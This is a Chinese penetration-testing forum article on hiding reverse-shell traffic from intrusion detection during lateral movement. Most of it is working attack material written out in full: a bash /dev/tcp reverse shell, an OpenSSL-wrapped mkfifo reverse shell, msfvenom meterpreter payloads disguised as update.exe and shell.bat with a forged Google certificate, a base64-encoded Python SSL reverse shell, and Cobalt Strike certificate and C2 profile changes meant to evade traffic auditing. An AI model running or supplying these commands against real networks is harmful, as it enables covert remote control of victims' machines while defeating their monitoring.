问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
内网渗透测试之流量加密
渗透测试
当攻击方在后渗透阶段需要进行横向渗透时,通常需要反弹shell,如果咱们反弹shell都是明文传输的话,内网的IDS等安全设备会对流量进行分析,检测到有恶意行为,防守方会通过安全设备对攻击流量进行溯源分析,攻击行为就会暴露,因此需要对流量进行加密。
0x00 前言 ======= 当攻击方在后渗透阶段需要进行横向渗透时,通常需要反弹shell,如果咱们反弹shell都是明文传输的话,内网的IDS等安全设备会对流量进行分析,检测到有恶意行为,防守方会通过安全设备对攻击流量进行溯源分析,攻击行为就会暴露,因此需要对流量进行加密。 0x01 未加密 ======== 在未进行加密的情况下,通过wireshark 抓包可以直接查看输入的命令与返回内容。这些会被IDS/IPS等安全设备检测到,需要进行加密混淆。 - 攻击机执行`nc -lvp 8765` - 目标机执行`bash -i >& /dev/tcp/192.168.211.129/8765 0>&1` Wireshark 抓到一系列数据包,随便追踪一个的TCP流,未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易查看到攻击者的行为记录。 0x02 OpenSSL ============ 在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。 SSL能使用户/服务器应用之间的通信不被攻击者窃听,并且始终对服务器进行认证,还可选择对用户进行认证。SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。 0x03 netcat流量加密 =============== 攻击机使用OpenSSL生成自签名证书。生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可。成功生成后,会有key.pem和cert.pem加密文件。 ```bash root@kali:~/桌面# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes Generating a RSA private key ...................++++ ...............................................++++ writing new private key to 'key.pem' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []: ``` 在攻击机上使用 OpenSSL 监听端口。此时 OpenSSL 便使用生成的密钥文件在攻击机的 8766 端口上启动了一个 SSL/TLS server ```bash root@kali:~/桌面# openssl s_server -quiet -key key.pem -cert cert.pem -port 8766 ``` 在目标机上执行反弹shell命令 ```bash giantbranch@ubuntu:~$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.211.129:8766 > /tmp/s; rm /tmp/s ``` 攻击机成功接受到返回的shell并执行命令。使用wireshark抓取两者通信的数据包查看,发现都是乱码,流量已经进行加密。 0x04 Metasploit流量加密 =================== 在使用MSF进行内网横向渗透时,由于该工具使用的广泛性,这些流量容易被内网里的流量审计工具检测识别,所以需要我们对它的流量进行加密。 OpenSSL创建证书 ----------- 攻击机使用OpenSSL模拟google的SSL证书信息,可自己修改其他。生成后,会有www.google.com.pem加密文件。通过`cat www.google.com.pem`查看私钥和证书 ```bash root@kali:~/桌面# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt > www.google.com.pem && \rm -f www.google.com.key www.google.com.crt Generating a RSA private key ...............................................++++ ..........................++++ writing new private key to 'www.google.com.key' ----- ``` 创建完证书后,我们可以通过MSF创建HTTP或HTTPS类型的有效负载,并为其提供pem格式的证书以用于验证连接。此处可以结合免杀等其他免杀手段。生成后,会有update.exe恶意文件。 ```bash root@kali:~/桌面# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true -f exe -o /root/桌面/update.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 514 bytes Final size of exe file: 73802 bytes Saved as: /root/桌面/update.exe ``` \- HandlerSSLCert:向处理程序通知所使用的PEM证书。 \- StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。 \- PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。 也可以生成psh类型的木马。生成后,会有shell.bat恶意文件。shell.bat通过运行powersell来获得session。 ```bash root@kali:~/桌面# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o /root/桌面/shell.bat [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 585 bytes Final size of psh-cmd file: 7959 bytes Saved as: /root/桌面/shell.bat ``` 攻击机启动监听。HandlerSSLCert是为了通知处理程序它将使用的证书,StagerVerifySSLCert是为了在接收到连接时执行SSL 证书验证。通过`show advanced`查看HandlerSSLCert是否调用了openssl创建的证书以及StagerVerifySSLCert是否开启。 ```bash msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf6 exploit(multi/handler) > set LHOST 192.168.211.129 LHOST => 192.168.211.129 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf6 exploit(multi/handler) > set HandlerSSLCert /root/桌面/www.google.com.pem HandlerSSLCert => /root/桌面/www.google.com.pem msf6 exploit(multi/handler) > set StagerVerifySSLCert true StagerVerifySSLCert => true msf6 exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://192.168.211.129:4444 ``` 将生成好的update.exe或者shell.bat上传到目标主机,并执行得到目标主机的meterpreter。在目标主机通过wireshark抓取数据包发现,流量已经进行加密。 impersonate\_ssl模块 ------------------ Metasploit框架内置 auxiliary/gather/impersonate\_ssl 模块,可用来自动从信任源创建一个虚假证书。执行完命令会在`/root/.msf4/loot/`下自动生成可信度高的PEM证书,重复上面的步骤使用该证书即可。 ```bash msf6 > use auxiliary/gather/impersonate_ssl msf6 auxiliary(gather/impersonate_ssl) > set RHOST www.baidu.com RHOST => www.baidu.com msf6 auxiliary(gather/impersonate_ssl) > run ``` 使用python模块进行加密 -------------- 通过MSF生成python可执行的payload。默认生成的是python2的脚本。 ```bash root@kali:~/.msf4/loot# msfvenom -p cmd/unix/reverse_python_ssl lhost=192.168.211.129 lport=4444 [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 629 bytes python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMjExLjEyOScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQpOej1GYWxzZQp3aGlsZSBub3QgTno6CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCU56ID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK')[0]))" ``` 攻击机执行以下命令开启监听: ```bash msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload cmd/unix/reverse_python_ssl payload => cmd/unix/reverse_python_ssl msf6 exploit(multi/handler) > set lhost 192.168.211.129 lhost => 192.168.211.129 msf6 exploit(multi/handler) > run [*] Started reverse SSL handler on 192.168.211.129:4444 ``` 接下来目标主机使用msf执行生成的payload。因为python 可以使用 -c 参数加载任意代码,我们就直接在代码中使用ssl库加密流量即可。 ```cmd C:\Users\root\IDA_Pro_v7.0_Portable\python27>python.exe -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMjExLjEyOScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQpOej1GYWxzZQp3aGlsZSBub3QgTno6CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCU56ID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK')[0]))" ``` 成功获取到shell,且经过加密。 ```bash msf6 exploit(multi/handler) > run [*] Started reverse SSL handler on 192.168.211.129:4444 [*] Command shell session 1 opened (192.168.211.129:4444 -> 192.168.211.140:49569) at 2022-02-12 22:35:17 +0800 whoami root-pc\root ``` 0x05 Cobalt Strike流量加密 ====================== Cobalt Strike 是很多红队的首选的攻击神器,应用范围广泛,导致很多IDS入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,很容易被流量检测出来并进行拦截,一旦被安全人员发现就会进行修复。我们生成证书修改C2 profile 加密混淆,实际上就是对流量加密传输,目的为了逃逸流量安全审计。 去除证书特征 ------ cobalt strike默认使用的cobaltstrike.store 证书会被检测 。利用keytool工具生成一个证书。 ```bash root@kali:~/桌面/cobaltstrike4.3# keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=US, OU="baidu.com", O="Sofatest", L=Beijing, ST=Cyberspace, C=CN" Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ``` 成功生成了一个名为cobaltstrike.store的证书,将其放到 Cobalt Strike 目录里。使用命令查看证书情况,默认密码123456。 ```bash root@kali:~/桌面/cobaltstrike4.3# keytool -list -v -keystore cobaltstrike.store Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true 输入密钥库口令: 密钥库类型: PKCS12 密钥库提供方: SUN 您的密钥库包含 1 个条目 别名: baidu.com 创建日期: 2022年2月13日 条目类型: PrivateKeyEntry 证书链长度: 1 证书[1]: 所有者: CN=US, OU=baidu.com, O=Sofatest, L=Beijing, ST=Cyberspace, C=CN 发布者: CN=US, OU=baidu.com, O=Sofatest, L=Beijing, ST=Cyberspace, C=CN 序列号: 6eb54229 生效时间: Sun Feb 13 23:04:01 CST 2022, 失效时间: Sat May 14 23:04:01 CST 2022 证书指纹: SHA1: 68:11:27:4F:CF:07:64:39:A3:F5:2B:12:BA:EA:A4:10:8D:57:7D:9D SHA256: B2:62:43:AB:C3:CB:3E:57:C3:5A:C5:E4:47:56:45:91:88:46:28:B1:6C:37:FD:F1:80:ED:FF:B8:84:26:5F:F4 签名算法名称: SHA256withRSA 主体公共密钥算法: 2048 位 RSA 密钥 版本: 3 扩展: #1: ObjectId: 2.5.29.14 Criticality=false SubjectKeyIdentifier [ KeyIdentifier [ 0000: 0C BE 67 59 34 6F 03 D5 7C 50 60 F9 D2 AC FB 9A ..gY4o...P`..... 0010: 24 1A 4D F5 $.M. ] ] ``` 修改 C2-profile 文件 ---------------- C2-profile 文件是 Cobalt Strike 内置工具,用于控制 Cobalt Strike 流量,可以防止安全设备对流量特征进行监控和拦截。 [下载对应cs版本的profile文件](https://github.com/threatexpress/malleable-c2),进行修改。主要需要修改的是https-certificate和code-signer两处地方,对应cobaltstrike.store文件中的信息。 ```c++ ##设置证书,注意以下内容得和生成的cobaltstrike.store证书一样 https-certificate { set keystore "../cobaltstrike.store"; set password "123456"; #set C "CN"; #set CN "US"; #set O "Sofatest"; #set OU "baidu.com"; #set L "Beijing"; #set ST "Cyberspace"; #set validity "365"; } ``` 然后利用 Cobalt Strike 的 c2lint 来检测profile是否存在问题 ```bash root@NC:/mnt/f/cobaltstrike/cobaltstrike4.3# ./c2lint ./malleable-c2-master/jquery-c2.4.3.profile [+] POST 3x check passed [+] .http-get.server.output size is good [+] .http-get.client size is good [+] .http-post.client size is good [+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s]) [+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s]) [+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s]) [+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (0 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (1 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (48248 byte[s]) [+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s]) [+] .http-post.client.id transform+mangle+recover passed (4 byte[s]) [+] .http-post.client.output transform+mangle+recover passed (0 byte[s]) [+] .http-post.client.output transform+mangle+recover passed (1 byte[s]) [+] .http-post.client.output POSTs results [+] .http-post.client.output transform+mangle+recover passed (48248 byte[s]) [+] .http-post.client.output transform+mangle+recover passed (1048576 byte[s]) [+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this. [%] [OPSEC] .host_stage is true. Your Beacon payload is available to anyone that connects to your server to request it. Are you OK with this? [!] .code-signer.keystore is missing. Will not sign executables and DLLs [+] Found SSL certificate keystore [!] .https-certificate.password is the default '123456'. Is this really your keystore password? ``` 配置teamserver上线 -------------- 修改teamserver默认端口`-Dcobaltstrike.server_port=49949`后运行。 ```bash root@NC:/mnt/f/cobaltstrike/cobaltstrike4.3# ./teamserver 172.26.210.212 123456 ./malleable-c2-master/jquery-c2.4.3.profile ``` 启动 Cobalt Strike连接teamserver后,利用HTTPS进行监听,创建scripted web delivery脚本,发现可以使用ssl证书功能。生产的powershell命令到目标主机执行,成功上线。通过wireshark捕捉到的tcp流量是经过加密传输的乱码形态
发表于 2022-04-01 17:31:19
阅读 ( 7775 )
分类:
内网渗透
1 推荐
收藏
0 条评论
请先
登录
后评论
Scorpio_m7
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!